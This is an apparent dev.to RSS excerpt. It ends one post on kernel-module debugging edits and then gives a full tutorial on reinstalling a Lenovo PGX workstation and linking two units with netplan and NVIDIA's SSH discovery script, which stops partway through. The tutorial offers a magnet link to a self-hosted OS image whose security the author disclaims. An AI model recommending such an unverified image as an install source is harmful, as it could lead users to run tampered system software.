&lt;td&gt;&lt;code&gt;u_audio.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;libcomposite.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u_audio.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;entry of &lt;code&gt;g_audio_setup&lt;/code&gt; changed to return 0&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;used only while watching enumeration, to get past ALSA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Not one byte of &lt;code&gt;f_audio_complete&lt;/code&gt; or &lt;code&gt;f_audio_setup&lt;/code&gt; inside &lt;code&gt;usb_f_uac1.ko&lt;/code&gt; was changed. On the load that succeeded, the three modules had only their vermagic strings touched.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>debugging</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>Lenovo ThinkStation PGX Repair and Multi-GPU Interconnection</title>
      <dc:creator>pureGavin</dc:creator>
      <pubDate>Sat, 12 Sep 2026 16:05:16 +0000</pubDate>
      <link>https://dev.to/puregavin/lenovo-thinkstation-pgx-repair-and-multi-gpu-interconnection-3i1</link>
      <guid>https://dev.to/puregavin/lenovo-thinkstation-pgx-repair-and-multi-gpu-interconnection-3i1</guid>
      <description>&lt;h1&gt;
  
  
  Preface
&lt;/h1&gt;

&lt;p&gt;Recently I got a few PGX units for research. This is an ARM-architecture personal GPU workstation from the NVIDIA–Lenovo collaboration. In actual use it always runs into all kinds of problems. The main content of this article is repairing a recently obtained PGX whose operating system could not boot, reinstalling the OS, and then using the QSFP ports that came with the purchased machines for multi-GPU interconnection.&lt;/p&gt;

&lt;h1&gt;
  
  
  Main Text
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Reinstalling the OS
&lt;/h2&gt;

&lt;p&gt;This is mentioned in the &lt;a href="https://support.lenovo.com/tw/zh/solutions/ht518087-how-to-install-dgx-spark-os-pgx-workstation" rel="noopener noreferrer"&gt;Lenovo official documentation&lt;/a&gt;, but the most important thing is that it does not provide the ISO image for reinstallation. Many people may download the image directly from the NVIDIA official website. I looked into this: the GB10 machine image provided by NVIDIA is not the same as the Lenovo-customized image. Here I provide a &lt;a href="https://download.lenovo.com/km/media/attachment/DGXOS_7_4_0_GA2_0_PGX.iso" rel="noopener noreferrer"&gt;download link&lt;/a&gt; for the PGX image, but if your local network has issues that prevent access to the download link above, you can also try downloading via the magnet link(magnet:?xt=urn:btih:3eec242622ead59b31977c59824c83fc73bd9a12&amp;amp;dn=DGXOS_7_4_0_GA2_0_PGX.iso&amp;amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce) I uploaded to my own server (please weigh the security of the image file yourself; I cannot make any guarantees, and any subsequent security issues are not my responsibility)&lt;/p&gt;

&lt;p&gt;Reinstalling the OS itself is not difficult, and the Lenovo official link given above is also quite detailed. Here, to prevent some people from being unable to access it due to network issues, I will briefly go over it. Assume you have already downloaded the PGX ISO image file, then download the rufus tool from rufus's &lt;a href="https://github.com/pbatard/rufus" rel="noopener noreferrer"&gt;GitHub official repository&lt;/a&gt;, then insert a USB drive (capacity of at least 16G), open the rufus tool, select the USB drive, then select the downloaded ISO image, leave everything else unchanged at the defaults, then click Start directly&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F1.png%3Fraw%3Dtrue" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F1.png%3Fraw%3Dtrue" alt="1" width="590" height="986"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some time, the USB drive becomes a boot drive, then just click Close&lt;/p&gt;

&lt;p&gt;Neither the PGX's external Type-C ports nor the included USB adapter ports work with 2.4G wireless keyboards; you have to use an old-fashioned USB-wired keyboard. After powering on, keep pressing the Delete key to enter the boot page, press Tab on the keyboard, select the bss option, enter the hardware boot order, and select USB drive boot&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F2.png%3Fraw%3Dtrue" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F2.png%3Fraw%3Dtrue" alt="2" width="537" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After entering the GRUB menu, select the DGX install option&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F3.jpg%3Fraw%3Dtrue" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F3.jpg%3Fraw%3Dtrue" alt="3" width="1269" height="816"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then click to install the DGX system&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F4.png%3Fraw%3Dtrue" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FpureGavin%2Fphoto%2Fblob%2Fmain%2FNAS%2Flenovo%2520thinkstation%2520PGX%25E4%25BF%25AE%25E5%25A4%258D%25E4%25B8%258E%25E5%25A4%259A%25E5%258D%25A1%25E8%25BF%259E%25E6%258E%25A5%2F4.png%3Fraw%3Dtrue" alt="4" width="692" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then the operating system will install automatically; you just need to wait. After installation completes, you will enter the familiar initialization interface to configure language, timezone, account password, and so on&lt;/p&gt;

&lt;h2&gt;
  
  
  Multi-machine interconnection
&lt;/h2&gt;

&lt;p&gt;Although it is titled multi-machine interconnection, in fact I only have two machines here, because the ports on the back of GB10-series machines use QSFP (200G) interfaces, and switches for this interface are hard for individuals to buy or are very expensive, so I only demonstrate two machines here. However, from the configuration principle, connecting more than two should be supported&lt;/p&gt;

&lt;p&gt;The entire tutorial can also be found on the &lt;a href="https://developer.nvidia.cn/build-spark/connect-two-sparks#i7njvai" rel="noopener noreferrer"&gt;NVIDIA official website&lt;/a&gt;, but as above, because some people may have network issues, I will also recap it here&lt;/p&gt;

&lt;p&gt;The first step is to confirm whether the usernames on the two machines are the same; just use the &lt;code&gt;whoami&lt;/code&gt; command. If the usernames on the two machines are different, then you need to create two users with the same username in the system. Basic Linux commands will not be shown here; you can search for them yourselves&lt;/p&gt;

&lt;p&gt;The second step is also very simple: use the QSFP ports to connect the two machines. Be careful not to use force when connecting; the ports are keyed, and you cannot insert them the wrong way. After connecting, run the &lt;code&gt;ibdev2netdev&lt;/code&gt; command, and you will see the following result&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lenovo@thinkstationpgx-3262:~/PGX&lt;span class="nv"&gt;$ &lt;/span&gt;ibdev2netdev
rocep1s0f0 port 1 &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; enp1s0f0np0 &lt;span class="o"&gt;(&lt;/span&gt;Up&lt;span class="o"&gt;)&lt;/span&gt;
rocep1s0f1 port 1 &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; enp1s0f1np1 &lt;span class="o"&gt;(&lt;/span&gt;Down&lt;span class="o"&gt;)&lt;/span&gt;
roceP2p1s0f0 port 1 &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; enP2p1s0f0np0 &lt;span class="o"&gt;(&lt;/span&gt;Up&lt;span class="o"&gt;)&lt;/span&gt;
roceP2p1s0f1 port 1 &lt;span class="o"&gt;==&amp;gt;&lt;/span&gt; enP2p1s0f1np1 &lt;span class="o"&gt;(&lt;/span&gt;Down&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third step is configuring the machines' &lt;code&gt;netplan&lt;/code&gt;. The official documentation provides three configuration methods (one automatic and two manual); here I used automatic configuration&lt;/p&gt;

&lt;p&gt;First write a yaml configuration file under the &lt;code&gt;netplan&lt;/code&gt; directory&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo tee&lt;/span&gt; /etc/netplan/40-cx7.yaml &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
network:
  version: 2
  ethernets:
    enp1s0f0np0:
      link-local: [ ipv4 ]
    enp1s0f1np1:
      link-local: [ ipv4 ]
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then configure the corresponding permissions and deploy&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configure permissions&lt;/span&gt;
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 /etc/netplan/40-cx7.yaml

&lt;span class="c"&gt;# Apply configuration&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;netplan apply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this step is complete, using the &lt;code&gt;ifconfig&lt;/code&gt; command or the &lt;code&gt;ip addr&lt;/code&gt; command you will see that the corresponding NICs from step two have been automatically assigned IP addresses; note that this step needs to be done on both machines&lt;/p&gt;

&lt;p&gt;The fourth step is configuring passwordless SSH certificates. NVIDIA official provides a &lt;a href="https://github.com/NVIDIA/dgx-spark-playbooks/blob/main/nvidia/connect-two-sparks/assets/discover-sparks" rel="noopener noreferrer"&gt;script&lt;/a&gt;, with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# SPDX-FileCopyrightText: Copyright (c) 1993-2025 NVIDIA CORPORATION &amp;amp; AFFILIATES. All rights reserved.&lt;/span&gt;
&lt;span class="c"&gt;# SPDX-License-Identifier: Apache-2.0&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# Licensed under the Apache License, Version 2.0 (the "License");&lt;/span&gt;
&lt;span class="c"&gt;# you may not use this file except in compliance with the License.&lt;/span&gt;
&lt;span class="c"&gt;# You may obtain a copy of the License at&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# http://www.apache.org/licenses/LICENSE-2.0&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# Unless required by applicable law or agreed to in writing, software&lt;/span&gt;
&lt;span class="c"&gt;# distributed under the License is distributed on an "AS IS" BASIS,&lt;/span&gt;
&lt;span class="c"&gt;# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.&lt;/span&gt;
&lt;span class="c"&gt;# See the License for the specific language governing permissions and&lt;/span&gt;
&lt;span class="c"&gt;# limitations under the License.&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;#!/bin/env bash&lt;/span&gt;

&lt;span class="c"&gt;# discover-sparks&lt;/span&gt;
&lt;span class="c"&gt;# Discover available systems using avahi-browse and generate MPI hosts file&lt;/span&gt;
&lt;span class="c"&gt;# Searches all active interfaces automatically&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# Usage: bash ./discover-sparks&lt;/span&gt;

&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="c"&gt;# Check if running as root or with sudo&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$EUID&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SUDO_USER&lt;/span&gt;&lt;span class="k"&gt;:-}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error: This script should not be run as root or with sudo"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Please run as a regular user"&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Dynamically get interface names from ibdev2netdev output&lt;/span&gt;
&lt;span class="c"&gt;# Use ibdev2netdev to list Infiniband devices and their network interfaces.&lt;/span&gt;
&lt;span class="c"&gt;# The awk command searches for lines containing 'Up)' (i.e., interfaces that are up)&lt;/span&gt;
&lt;span class="c"&gt;# and prints the 5th field, which is the interface name (e.g., enp1s0f0np0).&lt;/span&gt;
&lt;span class="c"&gt;# The tr command removes any parentheses from the output.&lt;/span&gt;
&lt;span class="nv"&gt;INTERFACES&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ibdev2netdev | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/Up\)/ {print $5}'&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'()'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;INTERFACES&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: No active interfaces found via ibdev2netdev."&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Create temporary file for processing&lt;/span&gt;
&lt;span class="nv"&gt;TEMP_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;trap&lt;/span&gt; &lt;span class="s1"&gt;'rm -f "$TEMP_FILE"'&lt;/span&gt; EXIT

&lt;span class="c"&gt;# Check if avahi-browse is available&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; avahi-browse &amp;amp;&amp;gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error: avahi-browse not found. Please install avahi-utils package."&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Run avahi-browse and filter for SSH services on specified interfaces&lt;/span&gt;
&lt;span class="c"&gt;# -p: parseable output&lt;/span&gt;
&lt;span class="c"&gt;# -r: resolve host names and addresses&lt;/span&gt;
&lt;span class="c"&gt;# -f: terminate after dumping all entries available at startup&lt;/span&gt;
&lt;span class="nv"&gt;avahi_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;avahi-browse &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; _ssh._tcp 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Filter for both interfaces&lt;/span&gt;
&lt;span class="nv"&gt;found_services&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;interface &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;INTERFACES&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$avahi_output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$interface&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nv"&gt;found_services&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
    &lt;/span&gt;&lt;span class="k"&gt;fi
done

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$found_services&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Warning: No services found on any specified interface"&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Extract IPv4 addresses from the avahi-browse output&lt;/span&gt;
&lt;span class="c"&gt;# Format: =;interface;IPv4;hostname\032service;description;local;fqdn;ip_address;port;&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"^="&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"IPv4"&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; prefix interface protocol hostname_service description &lt;span class="nb"&gt;local &lt;/span&gt;fqdn ip_address port rest&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c"&gt;# Clean up any trailing data&lt;/span&gt;
    &lt;span class="nv"&gt;clean_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ip_address&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/;.*$//'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;# Validate IP address format&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$clean_ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^[0-9]&lt;span class="o"&gt;{&lt;/span&gt;1,3&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0-9]&lt;span class="o"&gt;{&lt;/span&gt;1,3&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0-9]&lt;span class="o"&gt;{&lt;/span&gt;1,3&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0-9]&lt;span class="o"&gt;{&lt;/span&gt;1,3&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$clean_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;.sorted"&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Found: &lt;/span&gt;&lt;span class="nv"&gt;$clean_ip&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$fqdn&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;
    &lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Warning: Invalid IP format: &lt;/span&gt;&lt;span class="nv"&gt;$clean_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Sort and remove duplicates&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;.sorted"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;.sorted"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;.sorted"&lt;/span&gt;
&lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"No IPv4 addresses found."&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Generate a shared SSH key if it doesn't exist&lt;/span&gt;
&lt;span class="nv"&gt;SHARED_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/id_ed25519_shared"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Generating shared SSH key for all nodes..."&lt;/span&gt;
    ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"shared-cluster-key"&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Setting up shared SSH access across all nodes..."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"You may be prompted for your password on each node."&lt;/span&gt;

&lt;span class="c"&gt;# Ensure local .ssh directory exists with correct permissions&lt;/span&gt;
